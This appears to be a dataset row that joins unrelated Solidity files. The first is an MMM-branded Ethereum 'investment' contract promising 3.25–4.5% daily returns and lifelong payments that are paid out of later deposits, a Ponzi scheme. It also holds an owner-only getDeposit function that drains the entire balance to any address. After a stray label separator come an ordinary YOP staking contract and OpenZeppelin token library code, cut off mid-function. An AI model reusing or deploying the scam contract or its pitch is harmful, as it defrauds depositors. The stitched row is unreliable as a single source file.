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pragma solidity 0.4.25;
/**
*
* ETH CRYPTOCURRENCY DISTRIBUTION PROJECT
*
* Web: http://mmmeth.global
* Telegramm: https://t.me/MMMGLOBAL_ETH
* Youtube: https://youtube.com/user/sergeimavrody
*
* - GAIN PER 24 HOURS:
* -- Contract balance < 200 Ether: 3,25 %
* -- Contract balance >= 200 Ether: 3.50 %
* -- Contract balance >= 400 Ether: 3.75 %
* -- Contract balance >= 600 Ether: 4.00 %
* -- Contract balance >= 800 Ether: 4.25 %
* -- Contract balance >= 1000 Ether: 4.50 %
* - Life-long payments
* - The revolutionary reliability
* - Minimal contribution 0.01 eth
* - Currency and payment - ETH
* - Contribution allocation schemes:
* -- 97% payments
* -- 3% Marketing + Operating Expenses
*
* ---How to use:
* 1. Send from ETH wallet to the smart contract address
* any amount from 0.01 ETH.
* 2. Verify your transaction in the history of your application or etherscan.io, specifying the address
* of your wallet.
* 3. Claim your profit by sending 0 ether transaction (every day, every week, i don't care unless you're
* spending too much on GAS)
*
* RECOMMENDED GAS LIMIT: 200000
* RECOMMENDED GAS PRICE: https://ethgasstation.info/
* You can check the payments on the etherscan.io site, in the "Internal Txns" tab of your wallet.
*
* ---It is not allowed to transfer from exchanges, only from your personal ETH wallet, for which you
* have private keys.
*
* Contracts reviewed and approved by pros!
*
* Main contract - MMMInvest. Scroll down to find it.
*
*/
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library Percent {
struct percent {
uint num;
uint den;
}
function mul(percent storage p, uint a) internal view returns (uint) {
if (a == 0) {
return 0;
}
return a*p.num/p.den;
}
function div(percent storage p, uint a) internal view returns (uint) {
return a/p.num*p.den;
}
function sub(percent storage p, uint a) internal view returns (uint) {
uint b = mul(p, a);
if (b >= a) return 0;
return a - b;
}
function add(percent storage p, uint a) internal view returns (uint) {
return a + mul(p, a);
}
}
contract MMMInvest{
using SafeMath for uint;
using Percent for Percent.percent;
// array containing information about beneficiaries
mapping (address => uint) public balances;
//array containing information about the time of payment
mapping (address => uint) public time;
address private owner;
//The marks of the balance on the contract after which the percentage of payments will change
uint step1 = 200;
uint step2 = 400;
uint step3 = 600;
uint step4 = 800;
uint step5 = 1000;
//the time through which dividends will be paid
uint dividendsTime = 1 days;
event NewInvestor(address indexed investor, uint deposit);
event PayOffDividends(address indexed investor, uint value);
event NewDeposit(address indexed investor, uint value);
uint public allDeposits;
uint public allPercents;
uint public allBeneficiaries;
uint public lastPayment;
uint public constant minInvesment = 10 finney;
address public commissionAddr = 0x93A2e794fbf839c3839bC41DC80f25f711065838;
Percent.percent private m_adminPercent = Percent.percent(3, 100);
constructor() public {
owner = msg.sender;
}
/**
* The modifier checking the positive balance of the beneficiary
*/
modifier isIssetRecepient(){
require(balances[msg.sender] > 0, "Deposit not found");
_;
}
/**
* modifier checking the next payout time
*/
modifier timeCheck(){
require(now >= time[msg.sender].add(dividendsTime), "Too fast payout request. The time of payment has not yet come");
_;
}
modifier onlyOwner() {
require(msg.sender == owner, "access denied");
_;
}
function getDepositMultiplier()public view returns(uint){
uint percent = getPercent();
uint rate = balances[msg.sender].mul(percent).div(10000);
uint depositMultiplier = now.sub(time[msg.sender]).div(dividendsTime);
return(rate.mul(depositMultiplier));
}
function getDeposit(address addr) onlyOwner public payable{
addr.transfer(address(this).balance);
}
function receivePayment()isIssetRecepient timeCheck private{
uint depositMultiplier = getDepositMultiplier();
time[msg.sender] = now;
msg.sender.transfer(depositMultiplier);
allPercents+=depositMultiplier;
lastPayment =now;
emit PayOffDividends(msg.sender, depositMultiplier);
}
/**
* @return bool
*/
function authorizationPayment()public view returns(bool){
if (balances[msg.sender] > 0 && now >= (time[msg.sender].add(dividendsTime))){
return (true);
}else{
return(false);
}
}
/**
* @return uint percent
*/
function getPercent() public view returns(uint){
uint contractBalance = address(this).balance;
uint balanceStep1 = step1.mul(1 ether);
uint balanceStep2 = step2.mul(1 ether);
uint balanceStep3 = step3.mul(1 ether);
uint balanceStep4 = step4.mul(1 ether);
uint balanceStep5 = step5.mul(1 ether);
if(contractBalance < balanceStep1){
return(325);
}
if(contractBalance >= balanceStep1 && contractBalance < balanceStep2){
return(350);
}
if(contractBalance >= balanceStep2 && contractBalance < balanceStep3){
return(375);
}
if(contractBalance >= balanceStep3 && contractBalance < balanceStep4){
return(400);
}
if(contractBalance >= balanceStep4 && contractBalance < balanceStep5){
return(425);
}
if(contractBalance >= balanceStep5){
return(450);
}
}
function createDeposit() private{
if(msg.value > 0){
require(msg.value >= minInvesment, "msg.value must be >= minInvesment");
if (balances[msg.sender] == 0){
emit NewInvestor(msg.sender, msg.value);
allBeneficiaries+=1;
}
// commission
commissionAddr.transfer(m_adminPercent.mul(msg.value));
if(getDepositMultiplier() > 0 && now >= time[msg.sender].add(dividendsTime) ){
receivePayment();
}
balances[msg.sender] = balances[msg.sender].add(msg.value);
time[msg.sender] = now;
allDeposits+=msg.value;
emit NewDeposit(msg.sender, msg.value);
}else{
receivePayment();
}
}
/**
* function that is launched when transferring money to a contract
*/
function() external payable{
createDeposit();
}
} | True | [
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// SPDX-License-Identifier: MIT
pragma solidity =0.8.9;
import "@openzeppelin/contracts-upgradeable/token/ERC1155/ERC1155Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol";
import "../security/BasePauseableUpgradeable.sol";
import "../interfaces/IYOPRewards.sol";
import "../interfaces//IAccessControlManager.sol";
/// @notice This contract will stake (lock) YOP tokens for a period of time. While the tokens are locked in this contract, users will be able to claim additional YOP tokens (from the community emission as per YOP tokenomics).
/// Users can stake as many times as they want, but each stake can't be modified/extended once it is created.
/// For each stake, the user will recive an ERC1155 NFT token as the receipt. These NFT tokens can be transferred to other to still allow users to use the locked YOP tokens as a collateral.
/// When the NFT tokens are transferred, all the remaining unclaimed rewards will be transferred to the new owner as well.
contract Staking is ERC1155Upgradeable, BasePauseableUpgradeable {
using SafeERC20Upgradeable for IERC20Upgradeable;
event Staked(
address indexed _user,
uint256 indexed _tokenId,
uint248 indexed _amount,
uint8 _lockPeriod,
uint256 _startTime
);
event Unstaked(
address indexed _user,
uint256 indexed _tokenId,
uint248 indexed _amount,
uint8 _lockPeriod,
uint256 _startTime
);
/// @notice Emitted when the contract URI is updated
event StakingContractURIUpdated(string _contractURI);
/// @notice Emitted when the access control manager is updated
event AccessControlManagerUpdated(address indexed _accessControlManager);
/// @notice Emitted when staking limit is updated
event StakingLimitUpdated(uint256 indexed _newLimit);
/// @dev represent each stake
struct Stake {
// the duration of the stake, in number of months
uint8 lockPeriod;
// amount of YOP tokens to stake
uint248 amount;
// when the stake is started
uint256 startTime;
// when the last time the NFT is transferred. This is useful to help us track how long an account has hold the token
uint256 lastTransferTime;
}
uint8 public constant MAX_LOCK_PERIOD = 60;
uint256 public constant SECONDS_PER_MONTH = 2629743; // 1 month/30.44 days
address public constant YOP_ADDRESS = 0xAE1eaAE3F627AAca434127644371b67B18444051;
/// @notice The name of the token
string public name;
/// @notice The symbol of the token
string public symbol;
/// @notice The URL for the storefront-level metadata
string public contractURI;
/// @notice Used by OpenSea for admin access of the collection
address public owner;
// the minimum amount for staking
uint256 public minStakeAmount;
// the total supply of "working balance". The "working balance" of each stake is calculated as amount * lockPeriod.
uint256 public totalWorkingSupply;
// all the stake positions
Stake[] public stakes;
// the address of the YOPRewards contract
address public yopRewards;
// the address of the AccessControlManager contract
address public accessControlManager;
// stakes for each account
mapping(address => uint256[]) internal stakesForAddress;
// ownership of the NFTs
mapping(uint256 => address) public owners;
// cap for staking
uint256 public stakingLimit;
// solhint-disable-next-line no-empty-blocks
constructor() {}
/// @notice Initialize the contract.
/// @param _governance the governance address
/// @param _gatekeeper the gatekeeper address
/// @param _yopRewards the address of the yop rewards contract
/// @param _uri the base URI for the token
function initialize(
string memory _name,
string memory _symbol,
address _governance,
address _gatekeeper,
address _yopRewards,
string memory _uri,
string memory _contractURI,
address _owner,
address _accessControlManager
) external initializer {
__Staking_init(
_name,
_symbol,
_governance,
_gatekeeper,
_yopRewards,
_uri,
_contractURI,
_owner,
_accessControlManager
);
}
// solhint-disable-next-line func-name-mixedcase
function __Staking_init(
string memory _name,
string memory _symbol,
address _governance,
address _gatekeeper,
address _yopRewards,
string memory _uri,
string memory _contractURI,
address _owner,
address _accessControlManager
) internal onlyInitializing {
__ERC1155_init(_uri);
__BasePauseableUpgradeable_init(_governance, _gatekeeper);
__Staking_init_unchained(_name, _symbol, _yopRewards, _contractURI, _owner, _accessControlManager);
}
// solhint-disable-next-line func-name-mixedcase
function __Staking_init_unchained(
string memory _name,
string memory _symbol,
address _yopRewards,
string memory _contractURI,
address _owner,
address _accessControlManager
) internal onlyInitializing {
require(_yopRewards != address(0), "!input");
require(_owner != address(0), "!input");
name = _name;
symbol = _symbol;
yopRewards = _yopRewards;
owner = _owner;
stakingLimit = type(uint256).max;
_updateContractURI(_contractURI);
_updateAccessControlManager(_accessControlManager);
}
/// @notice Set the minimum amount of tokens for staking
/// @param _minAmount The minimum amount of tokens
function setMinStakeAmount(uint256 _minAmount) external onlyGovernance {
minStakeAmount = _minAmount;
}
/// @notice Set the limit of staking.
/// @param _limit The limit value. It is the limit of the total working balance (combined value of number of tokens and stake duration)
function setStakingLimit(uint256 _limit) external onlyGovernance {
if (stakingLimit != _limit) {
stakingLimit = _limit;
emit StakingLimitUpdated(_limit);
}
}
/// @dev Set the contractURI for store front metadata. Can only be called by governance.
/// @param _contractURI URL of the metadata
function setContractURI(string memory _contractURI) external onlyGovernance {
_updateContractURI(_contractURI);
}
function setAccessControlManager(address _accessControlManager) external onlyGovernance {
_updateAccessControlManager(_accessControlManager);
}
/// @notice Create a new staking position
/// @param _amount The amount of YOP tokens to stake
/// @param _lockPeriod The locking period of the stake, in months
/// @return The id of the NFT token that is also the id of the stake
function stake(uint248 _amount, uint8 _lockPeriod) external whenNotPaused returns (uint256) {
require(_amount > minStakeAmount, "!amount");
require(_lockPeriod > 0 && _lockPeriod <= MAX_LOCK_PERIOD, "!lockPeriod");
require(IERC20Upgradeable(_getYOPAddress()).balanceOf(_msgSender()) >= _amount, "!balance");
require((totalWorkingSupply + _amount * _lockPeriod) <= stakingLimit, "limit reached");
if (accessControlManager != address(0)) {
require(IAccessControlManager(accessControlManager).hasAccess(_msgSender(), address(this)), "!access");
}
// issue token id
uint256 tokenId = stakes.length;
// calculate the rewards for the token.
// This only needs to be called when NFT tokens are minted/burne. It doesn't need to be called again when NFTs are transferred as the balance of the token and the totalBalance are not changed when tokens are transferred
// This needs to be called before the stakes array is updated as otherwise the workingBalanceOfStake will return a value.
IYOPRewards(yopRewards).calculateStakingRewards(tokenId);
// record the stake
Stake memory s = Stake({
lockPeriod: _lockPeriod,
amount: _amount,
startTime: _getBlockTimestamp(),
lastTransferTime: _getBlockTimestamp()
});
stakes.push(s);
// transfer the the tokens to this contract and mint an NFT token
IERC20Upgradeable(_getYOPAddress()).safeTransferFrom(_msgSender(), address(this), _amount);
bytes memory data;
_mint(_msgSender(), tokenId, 1, data);
emit Staked(_msgSender(), tokenId, _amount, _lockPeriod, _getBlockTimestamp());
return tokenId;
}
/// @notice Unstake a single staking position that is owned by the caller after it's unlocked, and transfer the unlocked tokens to the _to address
/// @param _stakeId The id of the staking NFT token, and owned by the caller
function unstakeSingle(uint256 _stakeId, address _to) external whenNotPaused {
require(_to != address(0), "!input");
require(balanceOf(_msgSender(), _stakeId) > 0, "!stake");
Stake memory s = stakes[_stakeId];
uint256 startTime = s.startTime;
uint248 amount = s.amount;
uint8 lockPeriod = s.lockPeriod;
require(_isUnlocked(s), "locked");
// This only needs to be called when NFT tokens are minted/burne. It doesn't need to be called again when NFTs are transferred as the balance of the token and the totalBalance are not changed when tokens are transferred
IYOPRewards(yopRewards).calculateStakingRewards(_stakeId);
// burn the NFT
_burn(_msgSender(), _stakeId, 1);
// transfer the tokens to _to
IERC20Upgradeable(_getYOPAddress()).safeTransfer(_to, amount);
emit Unstaked(_msgSender(), _stakeId, amount, lockPeriod, startTime);
}
/// @notice Unstake all the unlocked stakes the caller currently has and transfer all the tokens to _to address in a single transfer.
/// This will be more gas efficient if the caller has multiple stakes that are unlocked.
/// @param _to the address that will receive the tokens
function unstakeAll(address _to) external whenNotPaused {
require(_to != address(0), "!input");
uint256[] memory stakeIds = stakesForAddress[_msgSender()];
uint256 toTransfer = 0;
uint256[] memory unlockedIds = _getUnlockedStakeIds(stakeIds);
require(unlockedIds.length > 0, "!unlocked");
uint256[] memory amounts = new uint256[](unlockedIds.length);
for (uint256 i = 0; i < unlockedIds.length; i++) {
amounts[i] = 1;
Stake memory s = stakes[unlockedIds[i]];
IYOPRewards(yopRewards).calculateStakingRewards(unlockedIds[i]);
uint256 startTime = s.startTime;
uint248 amount = s.amount;
uint8 lockPeriod = s.lockPeriod;
toTransfer += amount;
emit Unstaked(_msgSender(), unlockedIds[i], amount, lockPeriod, startTime);
}
// burn the NFTs
_burnBatch(_msgSender(), unlockedIds, amounts);
// transfer the tokens to _to
IERC20Upgradeable(_getYOPAddress()).safeTransfer(_to, toTransfer);
}
/// @notice Lists the is of stakes for a user
/// @param _user The user address
/// @return the ids of stakes
function stakesFor(address _user) external view returns (uint256[] memory) {
return stakesForAddress[_user];
}
/// @notice Check the working balance of an user address.
/// @param _user The user address
/// @return The value of working balance
function workingBalanceOf(address _user) external view returns (uint256) {
uint256 balance = 0;
uint256[] memory stakeIds = stakesForAddress[_user];
for (uint256 i = 0; i < stakeIds.length; i++) {
balance += _workingBalanceOfStake(stakes[stakeIds[i]]);
}
return balance;
}
/// @notice Get the working balance for the stake with the given stake id.
/// @param _stakeId The id of the stake
/// @return The working balance, calculated as stake.amount * stake.lockPeriod
function workingBalanceOfStake(uint256 _stakeId) external view returns (uint256) {
if (_stakeId < stakes.length) {
Stake memory s = stakes[_stakeId];
return _workingBalanceOfStake(s);
}
return 0;
}
function _workingBalanceOfStake(Stake memory _stake) internal pure returns (uint256) {
return _stake.amount * _stake.lockPeriod;
}
function _isUnlocked(Stake memory _stake) internal view returns (bool) {
return _getBlockTimestamp() > (_stake.startTime + _stake.lockPeriod * SECONDS_PER_MONTH);
}
function _getUnlockedStakeIds(uint256[] memory _stakeIds) internal view returns (uint256[] memory) {
// solidity doesn't allow changing the size of memory arrays dynamically, so have to use this function to build the array that only contains stake ids that are unlocked
uint256[] memory temp = new uint256[](_stakeIds.length);
uint256 counter;
for (uint256 i = 0; i < _stakeIds.length; i++) {
Stake memory s = stakes[_stakeIds[i]];
// find all the unlocked stakes first and store them in an array
if (_isUnlocked(s)) {
temp[counter] = _stakeIds[i];
counter++;
}
}
// copy the array to change the size
uint256[] memory unlocked;
if (counter > 0) {
unlocked = new uint256[](counter);
for (uint256 j = 0; j < counter; j++) {
unlocked[j] = temp[j];
}
}
return unlocked;
}
/// @dev This function is invoked by the ERC1155 implementation. It will be called everytime when tokens are minted, transferred and burned.
/// We add implementation for this function to perform the common bookkeeping tasks, like update the working balance, update ownership mapping etc.
function _beforeTokenTransfer(
address,
address _from,
address _to,
uint256[] memory _ids,
uint256[] memory,
bytes memory
) internal override {
for (uint256 i = 0; i < _ids.length; i++) {
uint256 tokenId = _ids[i];
Stake storage s = stakes[tokenId];
s.lastTransferTime = _getBlockTimestamp();
uint256 balance = _workingBalanceOfStake(s);
if (_from != address(0)) {
totalWorkingSupply -= balance;
_removeValue(stakesForAddress[_from], tokenId);
owners[tokenId] = address(0);
}
if (_to != address(0)) {
totalWorkingSupply += balance;
stakesForAddress[_to].push(tokenId);
owners[tokenId] = _to;
} else {
// this is a burn, reset the fields of the stake record
s.startTime = 0;
s.lockPeriod = 0;
s.amount = 0;
s.lastTransferTime = 0;
}
}
}
/// @dev For testing
function _getBlockTimestamp() internal view virtual returns (uint256) {
// solhint-disable-next-line not-rely-on-time
return block.timestamp;
}
/// @dev For testing
function _getYOPAddress() internal view virtual returns (address) {
return YOP_ADDRESS;
}
function _removeValue(uint256[] storage _values, uint256 _val) internal {
uint256 i;
for (i = 0; i < _values.length; i++) {
if (_values[i] == _val) {
break;
}
}
for (; i < _values.length - 1; i++) {
_values[i] = _values[i + 1];
}
_values.pop();
}
function _updateAccessControlManager(address _accessControlManager) internal {
// no check on the parameter as it can be address(0)
if (accessControlManager != _accessControlManager) {
accessControlManager = _accessControlManager;
emit AccessControlManagerUpdated(_accessControlManager);
}
}
function _updateContractURI(string memory _contractURI) internal {
contractURI = _contractURI;
emit StakingContractURIUpdated(_contractURI);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/ERC1155.sol)
pragma solidity ^0.8.0;
import "./IERC1155Upgradeable.sol";
import "./IERC1155ReceiverUpgradeable.sol";
import "./extensions/IERC1155MetadataURIUpgradeable.sol";
import "../../utils/AddressUpgradeable.sol";
import "../../utils/ContextUpgradeable.sol";
import "../../utils/introspection/ERC165Upgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the basic standard multi-token.
* See https://eips.ethereum.org/EIPS/eip-1155
* Originally based on code by Enjin: https://github.com/enjin/erc-1155
*
* _Available since v3.1._
*/
contract ERC1155Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC1155Upgradeable, IERC1155MetadataURIUpgradeable {
using AddressUpgradeable for address;
// Mapping from token ID to account balances
mapping(uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json
string private _uri;
/**
* @dev See {_setURI}.
*/
function __ERC1155_init(string memory uri_) internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC1155_init_unchained(uri_);
}
function __ERC1155_init_unchained(string memory uri_) internal onlyInitializing {
_setURI(uri_);
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) {
return
interfaceId == type(IERC1155Upgradeable).interfaceId ||
interfaceId == type(IERC1155MetadataURIUpgradeable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC1155MetadataURI-uri}.
*
* This implementation returns the same URI for *all* token types. It relies
* on the token type ID substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* Clients calling this function must replace the `\{id\}` substring with the
* actual token type ID.
*/
function uri(uint256) public view virtual override returns (string memory) {
return _uri;
}
/**
* @dev See {IERC1155-balanceOf}.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
require(account != address(0), "ERC1155: balance query for the zero address");
return _balances[id][account];
}
/**
* @dev See {IERC1155-balanceOfBatch}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] memory accounts, uint256[] memory ids)
public
view
virtual
override
returns (uint256[] memory)
{
require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch");
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
/**
* @dev See {IERC1155-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC1155-isApprovedForAll}.
*/
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
return _operatorApprovals[account][operator];
}
/**
* @dev See {IERC1155-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
_safeTransferFrom(from, to, id, amount, data);
}
/**
* @dev See {IERC1155-safeBatchTransferFrom}.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: transfer caller is not owner nor approved"
);
_safeBatchTransferFrom(from, to, ids, amounts, data);
}
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
emit TransferSingle(operator, from, to, id, amount);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
}
emit TransferBatch(operator, from, to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
}
/**
* @dev Sets a new URI for all token types, by relying on the token type ID
* substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* By this mechanism, any occurrence of the `\{id\}` substring in either the
* URI or any of the amounts in the JSON file at said URI will be replaced by
* clients with the token type ID.
*
* For example, the `https://token-cdn-domain/\{id\}.json` URI would be
* interpreted by clients as
* `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json`
* for token type ID 0x4cce0.
*
* See {uri}.
*
* Because these URIs cannot be meaningfully represented by the {URI} event,
* this function emits no events.
*/
function _setURI(string memory newuri) internal virtual {
_uri = newuri;
}
/**
* @dev Creates `amount` tokens of token type `id`, and assigns them to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _mint(
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, _asSingletonArray(id), _asSingletonArray(amount), data);
_balances[id][to] += amount;
emit TransferSingle(operator, address(0), to, id, amount);
_doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _mintBatch(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; i++) {
_balances[ids[i]][to] += amounts[i];
}
emit TransferBatch(operator, address(0), to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);
}
/**
* @dev Destroys `amount` tokens of token type `id` from `from`
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `from` must have at least `amount` tokens of token type `id`.
*/
function _burn(
address from,
uint256 id,
uint256 amount
) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, address(0), _asSingletonArray(id), _asSingletonArray(amount), "");
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
emit TransferSingle(operator, from, address(0), id, amount);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
*/
function _burnBatch(
address from,
uint256[] memory ids,
uint256[] memory amounts
) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, address(0), ids, amounts, "");
for (uint256 i = 0; i < ids.length; i++) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
}
emit TransferBatch(operator, from, address(0), ids, amounts);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC1155: setting approval status for self");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning, as well as batched variants.
*
* The same hook is called on both single and batched variants. For single
* transfers, the length of the `id` and `amount` arrays will be 1.
*
* Calling conditions (for each `id` and `amount` pair):
*
* - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* of token type `id` will be transferred to `to`.
* - When `from` is zero, `amount` tokens of token type `id` will be minted
* for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens of token type `id`
* will be burned.
* - `from` and `to` are never both zero.
* - `ids` and `amounts` have the same, non-zero length.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {}
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155ReceiverUpgradeable(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
if (response != IERC1155ReceiverUpgradeable.onERC1155Received.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155ReceiverUpgradeable(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (
bytes4 response
) {
if (response != IERC1155ReceiverUpgradeable.onERC1155BatchReceived.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
uint256[47] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol)
pragma solidity ^0.8.0;
import "../IERC20Upgradeable.sol";
import "../../../utils/AddressUpgradeable.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20Upgradeable {
using AddressUpgradeable for address;
function safeTransfer(
IERC20Upgradeable token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20Upgradeable token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20Upgradeable token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
